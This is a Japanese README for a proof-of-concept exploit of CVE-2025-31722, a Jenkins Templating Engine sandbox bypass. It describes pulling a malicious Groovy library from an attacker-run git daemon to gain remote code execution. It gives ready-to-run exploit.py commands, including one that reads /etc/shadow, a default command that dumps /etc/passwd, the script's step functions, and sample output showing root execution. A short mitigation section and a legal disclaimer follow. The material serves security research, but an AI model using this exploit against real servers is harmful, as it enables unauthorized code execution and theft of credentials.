
Jenkins Templating Engineプラグインのサンドボックスバイパス(CVE-2025-31722)の概念実証エクスプロイト。悪意のあるGroovyライブラリインジェクションを介したリモートコード実行を可能にします。
教育および許可されたセキュリティ研究目的に限ります。
Jenkins Templating Engine (JTE) プラグイン <= 2.5.3 におけるサンドボックスバイパス脆弱性であり、低権限ユーザーが Jenkins サーバー上で任意のコードを実行できるものです。
この欠陥は、JTE がフォルダーレベルの GovernanceTier 設定で定義された外部 Git リポジトリからライブラリを読み込み、ジョブを作成したユーザーの権限レベルに関係なく、それらのライブラリのステップを Groovy サンドボックス外 で実行するために発生します。
CVSS: 8.8 (高)
タイプ: サンドボックスバイパス → RCE
影響を受けるコンポーネント: pipeline-templating-engine プラグイン ≤ 2.5.3
修正バージョン: 2.5.4+
Attacker (Kali) Jenkins Server
─────────────── ──────────────
1. Creates git repo with evil.groovy
2. Starts git daemon on :9418
3. Creates folder in Jenkins → Folder with GovernanceTier
pointing to git://KALI:9418/… pointing to attacker's repo
4. Creates job with AdHoc template → Job calls evil()
5. Triggers build → JTE clones repo from Kali
Executes evil() outside sandbox
← RCE as Jenkins user
cloudbees-folder, git, workflow-aggregatorattacker が以下の権限を持つ: Item/READ, Item/CREATE, Item/CONFIGURE, Item/BUILDgit がインストールされていることrequestspip install requests
Debian/Ubuntu サーバーにインストールされたセットアップは、Jenkins をインストールし、ユーザー、権限、必要なプラグインを構成しました。悪意のあるコンテンツは作成しません — それは PoC によってのみ処理されます。
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP>
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cmd "cat /etc/shadow"
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cleanup
| パラメータ | 説明 | 必須 |
|---|---|---|
--url | Jenkins のベース URL | はい |
--user | Item/CREATE+CONFIGURE+BUILD 権限を持つユーザー | はい |
--pass | ユーザーパスワード | はい |
--git-host | Jenkins から到達可能な Kali の IP | はい |
--cmd | サーバー上で実行するコマンド(デフォルト: id && hostname && cat /etc/passwd) | いいえ |
--cleanup | エクスプロイトによって作成されたフォルダー、ジョブ、リポジトリを削除します | いいえ |
setup_repo() — Kali 上にコマンドを実行するための ~/jte-exploit/evil-lib/steps/evil.groovy を作成start_git_daemon() — Kali 上でポート 9418 で git daemon を起動create_folder() — git://KALI:9418/jte-exploit を指す GovernanceTier を持つフォルダーを Jenkins に作成create_job() — evil-lib を宣言し evil() を呼び出す AdHocTemplateFlowDefinition を持つジョブを作成trigger_and_wait() — ビルドをトリガーし、結果を待機print_output() — RCE 結果を含むコンソール出力を表示Git デーモンはビルドサイクル全体を通じて稼働し続け、ビルドが完了すると自動的に終了します。
=================================================================
CVE-2025-31722 — Jenkins Templating Engine RCE
Target : http://10.211.55.10:8080
Git host: 10.211.55.7
Command : id && hostname && cat /etc/passwd
=================================================================
[+] Authenticated as: attacker (id=attacker)
[+] Repo created: /root/jte-exploit
[+] Malicious step: evil-lib/steps/evil.groovy
[+] Git daemon running at git://10.211.55.7:9418/jte-exploit
[+] Folder created
[+] Job created
[+] Build queued
=================================================================
CVE-2025-31722 — RCE OUTPUT
=================================================================
[JTE] ...
uid=0(root) gid=0(root) groups=0(root)
debian
root:x:0:0:root:/root:/bin/bash
...
=================================================================
Item/CREATE および Item/CONFIGURE 権限を信頼できるユーザーのみに制限GovernanceTier 設定を持つフォルダーを監査法的免責事項: この PoC は教育目的および管理された環境でのテストのみを目的としています。明示的な許可なくシステムに対して使用することは違法です。